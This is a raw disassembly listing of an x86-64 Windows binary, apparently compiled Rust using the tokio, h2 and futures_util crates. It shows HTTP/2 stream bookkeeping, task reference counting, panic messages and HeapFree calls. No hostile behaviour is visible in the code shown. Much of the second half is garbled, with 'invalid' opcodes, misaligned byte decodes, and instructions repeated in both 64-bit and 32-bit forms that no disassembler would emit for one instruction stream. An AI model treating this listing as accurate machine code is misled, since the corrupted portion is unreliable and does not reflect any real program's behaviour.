mov r12, qword [rsp + 0x50]
mov rax, qword [rsp + 0x68]
cmp qword [rax], 0
je 0x14008817a
cmp qword [rbx + 0x28], 0
sete bpl
jmp 0x140088187
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
call qword [rax + 0x28]
mov ebp, eax
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0xa8], r12
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0xb0]
mov rdx, rbx
lea r8, [rsp + 0x88]
mov r9d, ebp
call fcn.14008a580
cmp byte [rsp + 0xb0], 5
jne 0x14008853d
test bpl, bpl
jne 0x14008859f
cmp byte [rbx + 0x38], 0
mov r12, qword [rsp + 0x60]
mov sil, 1
je 0x140087ff5
jmp 0x140087fab
mov rcx, r13
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14008802a
call fcn.1401105f0
xor al, 1
movzx ecx, byte [rbp + 0x11]
test cl, cl
je 0x140088038
jmp 0x1400886ed
call fcn.1401105f0
test al, al
jne 0x1400880b4
mov byte [rbp + 0x11], 1
jmp 0x1400880b4
mov esi, dword [rsp + 0x34]
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008871f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 9
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov byte [rax], 2
mov dword [rax + 4], esi
jmp 0x1400882ff
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008871f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 9
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov rcx, qword [rsp + 0x50]
mov qword [rax + 0x20], rcx
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov qword [rdi], rax
lea rax, [0x14013dd98]
mov qword [rdi + 8], rax
jmp 0x140088436
cmp ebp, 6
jne 0x140088375
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008871f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 9
lea rdx, str.send_stream_capacity_unexpectedly_closed
mov r8d, 0x28
mov rcx, rax
call fcn.140065c80
jmp 0x14008842c
mov eax, 1
mov bpl, 1
test rax, rax
jne 0x1400884aa
jmp 0x140088436
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008871f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 9
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov rbx, rax
mov byte [rax], bpl
lea rdx, [rsp + 0x31]
mov eax, dword [rdx]
mov ecx, dword [rdx + 3]
mov dword [rbx + 1], eax
mov dword [rbx + 4], ecx
mov qword [rbx + 8], r13
mov rax, qword [rdx + 0x1f]
mov qword [rbx + 0x20], rax
movups xmm0, xmmword [rdx + 0xf]
movups xmmword [rbx + 0x10], xmm0
mov r14, qword [rdi]
test r14, r14
je 0x14008841e
mov rsi, qword [rdi + 8]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14008841e
cmp qword [rsi + 0x10], 0x11
jb 0x14008840c
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi], rbx
lea rax, [0x14013dd98]
mov qword [rdi + 8], rax
xor eax, eax
mov bpl, 1
test rax, rax
jne 0x1400884aa
mov rbx, qword [r12]
test rbx, rbx
je 0x1400886cd
mov rcx, rbx
call fcn.140026d50
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14008845c
mov rcx, rbx
call fcn.140005020
mov rax, qword [rbx + 0x10]
lock dec qword [rax]
jne 0x14008846f
mov rcx, qword [rbx + 0x10]
call fcn.140087210
lea rcx, [rbx + 0x18]
call fcn.14005b7d0
mov rcx, qword [0x140182260]
xor ebp, ebp
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [r12], 0
test rdi, rdi
je 0x1400884aa
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x30]
call fcn.140035b40
xor ebp, ebp
mov eax, ebp
add rsp, 0xd8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp eax, 5
jne 0x1400885b7
mov esi, dword [rsp + 0x34]
mov cl, 9
call fcn.140036e50
mov rdi, rax
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov rbx, rax
mov byte [rax], 2
mov dword [rax + 4], esi
jmp 0x1400885fa
mov rcx, rbx
xor edx, edx
call fcn.140089c50
cmp qword [rbx + 0x18], 0
je 0x140088637
cmp qword [rbx + 0x28], 0
je 0x14008864a
mov byte [rbx + 0x38], 1
jmp 0x140087fab
mov rcx, rbx
mov rdx, r13
call fcn.14008a470
mov rdi, rax
jmp 0x14008842c
mov cl, 9
call fcn.140036e50
mov rdi, rax
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov rbx, rax
mov rax, qword [rsp + 0xd0]
mov qword [rbx + 0x20], rax
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov r14, qword [rdi]
test r14, r14
mov r12, qword [rsp + 0x60]
jne 0x1400883f1
jmp 0x14008841e
xor eax, eax
mov r12, qword [rsp + 0x60]
mov bpl, 1
test rax, rax
jne 0x1400884aa
jmp 0x140088436
mov cl, 9
call fcn.140036e50
mov rdi, rax
movzx eax, byte [0x140182310]
mov edx, 0x28
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008872e
mov rbx, rax
mov rax, qword [rsp + 0x50]
mov qword [rbx + 0x20], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov r14, qword [rdi]
test r14, r14
je 0x14008862f
mov rsi, qword [rdi + 8]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14008862f
cmp qword [rsi + 0x10], 0x11
jb 0x14008861d
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi], rbx
jmp 0x140088302
mov rcx, qword [rbx + 0x20]
mov rax, qword [rbx + 0x28]
call qword [rax + 0x28]
test al, al
je 0x140088521
mov rcx, rbx
call fcn.14008a360
mov rdi, rax
jmp 0x14008842c
lea rax, [rsp + 0x74]
mov qword [rsp + 0x78], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x80], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.Map_must_not_be_polled_after_it_returned__Poll::Ready_
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x36
call fcn.14010d200
mov qword [r12], 0
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_futuremap.rs
mov edx, 0x28
call fcn.140108630
mov qword [rsp + 0x30], r13
mov byte [rsp + 0x38], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013fa88]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.1401088e0
mov ecx, 8
mov edx, 0x38
call fcn.1401082c0
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
int3
cmp ch, 2
je 0x1400889e7
mov rsi, qword [rsp + 0x30]
lock dec qword [rsi + 0x40]
jne 0x1400889c2
push rbp
push rbp
mov rax, qword [rsi + 0x38]
test rax, rax
jns 0x140088985
movabs rax, 0x7fffffffffffffff
lock and qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x140088990
test rax, rax
jne 0x1400889c2
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x1400889c2
call qword [rax + 8]
lock dec qword [rsi]
jne 0x1400889d2
lea rcx, [rsp + 0x30]
call fcn.140088a50
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400889e7
mov rcx, qword [rsp + 0x38]
and al, 0x38
call fcn.140066cf0
mov qword [rsp + 0x30], r14
test r14, r14
je 0x140088a01
lock dec qword [r14]
jne 0x140088a01
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
call fcn.1400055f0
mov eax, ebx
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
in al, dx
sti
invalid
invalid
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140088ac1
mov rcx, qword [0x140182260]
or eax, 0xf97a9
xor edx, edx
call r14
test rbx, rbx
je 0x140088ae7
mov r8, rbx
mov rbx, qword [rbx]
sbb ecx, dword [rcx - 0x75]
or byte [rax - 0x7b], cl
invalid
je 0x140088ab0
sbb ecx, dword [rcx - 0x75]
or byte [rax - 0x7b], cl
sal byte [rax + riz*8 - 0x10], 0x48
lock dec qword [rax]
lock dec qword [rax]
jne 0x140088ab0
mov rcx, qword [r8 + 8]
mov r15, r8
call fcn.140066cf0
std
dec dword [rbp - 0x77]
clc
std
dec dword [rbp - 0x77]
clc
jmp 0x140088ab0
mov rax, qword [rdi + 0x48]
test rax, rax
je 0x140088af7
mov rcx, qword [rdi + 0x50]
push rax
call qword [rax + 0x18]
push rax
sbb byte [rbx + rcx*4 + 6], cl
invalid
mov r8, qword [rsi]
invalid
cmp r8, 0xffffffffffffffff
je 0x140088b22
invalid
and dh, al
dec qword [r8 + 8]
lock dec qword [r8 + 8]
jne 0x140088b22
mov rcx, qword [0x140182260]
or eax, 0xf9752
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x20
and byte [rbx + 0x5f], bl
and byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x8a83e
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140088b6a
mov rcx, rax
and rcx, 0xfffffffffffffff8
ror dword [rax - 0x7d], 0xe1
clc
or rcx, 1
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je case.0x140065698.111
test al, 4
je 0x140088dd4
test byte [rdx + 2], ah
add byte [rax], al
test byte [rdx + 2], ah
add byte [rax], al
add al, byte [rax]
add byte [rax + 0x48da7403], ch
add esi, dword [rdx + rbx*8 + 0x48]
test al, 3
je 0x140088b50
add esi, dword [rdx + rbx*8 + 0x48]
cmp rax, 0x3f
cmp eax, 0x3f
jbe 0x140088dec
xchg byte [rdx + rax], ch
add al, byte [rax]
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
ror byte [rax - 0x7d], 0xf9
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
ror byte [rax - 0x7d], 0xf9
cmp ecx, 0x40
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140088b6a
movzx eax, dl
lea rcx, [0x14017869c]
or eax, 0xefafd
ret 0x8d48
or eax, 0xefafd
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
and al, 6
cmp al, 4
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
invalid
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
mov edi, dword [rsi + 0x28]
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je case.0x14006bf32.67
xorps xmm6, xmm6
test eax, eax
jne 0x140088c73
invalid
invalid
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
push qword [rbx - 0x76b7fffb]
retf
mov rbx, rcx
mov rcx, rax
call fcn.1400d4720
add al, 0
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov rcx, rbx
mov ecx, ebx
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
mov eax, dword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rax + 0xf0], 1
add byte [rax - 0x77], cl
mov eax, 0xf8
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
lea rdx, [rsp + 0x70]
call fcn.140088870
invalid
invalid
jo 0x140088c61
sti
invalid
mov ecx, dword [0x140182314]
or eax, 0xf9691
mov rdx, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
mov dword [rax], esp
add dword [rax], eax
add byte [rbx + 0x357401f9], al
cmp ecx, 1
je 0x140088cd1
invalid
cmp ecx, 1
je 0x140088cd1
invalid
xor eax, 0x4b75c985
test ecx, ecx
leave
jne 0x140088ceb
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rdx, qword [0x58]
mov rdi, qword [rdx + rcx*8]
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x5b36f
invalid
invalid
add eax, 0xe8c38900
pop rax
mov ebx, eax
call fcn.1400d4720
mov edx, 0xd8890004
mov edx, 0xd8890004
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x140182314]
cmp eax, 0x65000f96
mov rdx, qword [0x58]
invalid
verr word [rbp + 0x48]
mov edx, dword [0x58]
invalid
mov rdx, qword gs:[0x58]
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
add byte [rax - 0x73], cl
jle 0x140088d0f
lea rdi, [rsi + 0x20]
test al, al
je 0x140088d82
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x1401786ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rsi], rax
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140088e3c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140088d10.0
mov rcx, rsi
call 0x140089110
jmp case.0x140088d10.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x140088da5
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
mov rcx, rsi
call fcn.1400891d0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008912d
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0x50]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x14008915b
movzx eax, al
test eax, eax
jne 0x140089197
call fcn.140088740
jmp 0x140089197
cmp qword [rcx], 0
je 0x140089197
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x140089197
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140089197
cmp qword [rbx + 0x10], 0x11
jb 0x140089185
jnp 0x14008918e
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x1400891a7
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
je 0x14008927f
test al, 2
jne 0x140089297
test al, 8
jne 0x140089217
lea rcx, [rsi + 0x20]
mov byte [rsp + 0x48], 5
and al, 0x48
add eax, 0x24548d48
sub al, ch
or eax, dword [rdi]
add byte [rax], al
and al, 0x48
add eax, 0x24548d48
sub al, ch
or eax, dword [rdi]
add byte [rax], al
jmp 0x14008922f
test al, 0x10
je 0x14008922f
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008931b
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec330
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400892af
jne 0x140089275
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140089110
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ea18]
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
add eax, 0xc57b3
add eax, 0xc57b3
mov edx, 0x25
call fcn.140108630
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
cdq
clc
dec dword [rax - 0x77]
and al, 0x68
cdq
clc
dec dword [rax - 0x77]
and al, 0x68
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
and al, 0x78
and al, 0x78
lea rax, str.current:___sub:_p
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
and al, 0x38
mov qword [rsp + 0x40], 2
mov dword [rsp + 0x40], 2
add byte [rax], al
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
add byte [rax - 0x73], cl
and al, 0x28
lea ecx, [rsp + 0x28]
call fcn.140108560
lea rax, str.waker_missing
lea eax, [0x14014e648]
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
and al, 0x30
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
cmp byte [rax], cl
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x28]
and al, 0x28
call fcn.140108560
int3
push rsi
push rdi
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
invalid
mov rax, qword [rcx]
mov eax, dword [rcx]
invalid
mov eax, dword [rcx]
jmp 0x14008939a
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
and ecx, 0xfffffff8
and ecx, 0xfffffff8
clc
or rcx, 1
mov edx, eax
ret 0xeac0
invalid
ret 0xeac0
invalid
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x1400893c5
test al, 4
je 0x1400895fd
pop rbx
add al, byte [rax]
add byte [rax], al
test al, 3
je 0x140089380
cmp rax, 0x3f
add byte [rax], al
test al, 3
je 0x140089380
cmp rax, 0x3f
clc
invalid
jbe 0x140089615
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14008939a
movzx eax, dl
lea rcx, [0x1401786bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
and al, 0x70
je 0x14008940c
push 0x24448d48
invalid
and al, 0x70
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x50]
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x50]
and al, 6
cmp al, 4
je 0x14008962d
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
jle 0x140089442
jle 0x140089442
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140089477
add dword [rsi + rdi + 0xf], esi
xorps xmm6, xmm6
test eax, eax
jne 0x1400894a3
push rdi
test byte [rbp - 0x749c8a40], 5
invalid
invalid
mov eax, dword [0x140182314]
invalid
verr word [rbp + 0x48]
mov edx, dword [0x58]
and eax, 0x58
mov rdx, qword gs:[0x58]
and eax, 0x58
mov r14, qword [rdx + rax*8]
mov esi, dword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax - 0x77], cl
retf
mov rcx, rax
shr eax, 0xb4
mov dl, 4
add al, 0
add byte [rax - 0x77], cl
retf
shr eax, 0xb4
mov dl, 4
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rax], al
invalid
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0xf8e9705], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
add byte [rax], al
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
lea rdx, [rsp + 0x70]
lea edx, [rsp + 0x70]
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
lea edx, [rsp + 0x70]
and al, 0x70
call fcn.140088870
mov ecx, dword [0x140182314]
mov cs, word [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
mov cs, word [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
stc
add dword [rbp + rsi - 0x7b], esi
je 0x140089501
test ecx, ecx
je 0x140089501
test ecx, ecx
jne 0x14008951b
verr word [rbp + 0x48]
mov edx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
mov edi, dword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
add byte [rax], al
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
add byte [rcx - 0x4dd7173d], cl
add al, 0
mov eax, ebx
mov byte [rdi + 0x120], 1
invalid
add dword [rbx + 0xf8e0d0d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x1401786cc]
or eax, 0xef193
or eax, 0xef193
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
bnd call fcn.1400eaa70
and byte [rax - 0x77], r9b
bnd call fcn.1400eaa70
invalid
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x140089665
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140089540.0
mov rcx, rsi
call 0x140089860
jmp case.0x140089540.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089920
mov rax, qword [rsi + 0x28]
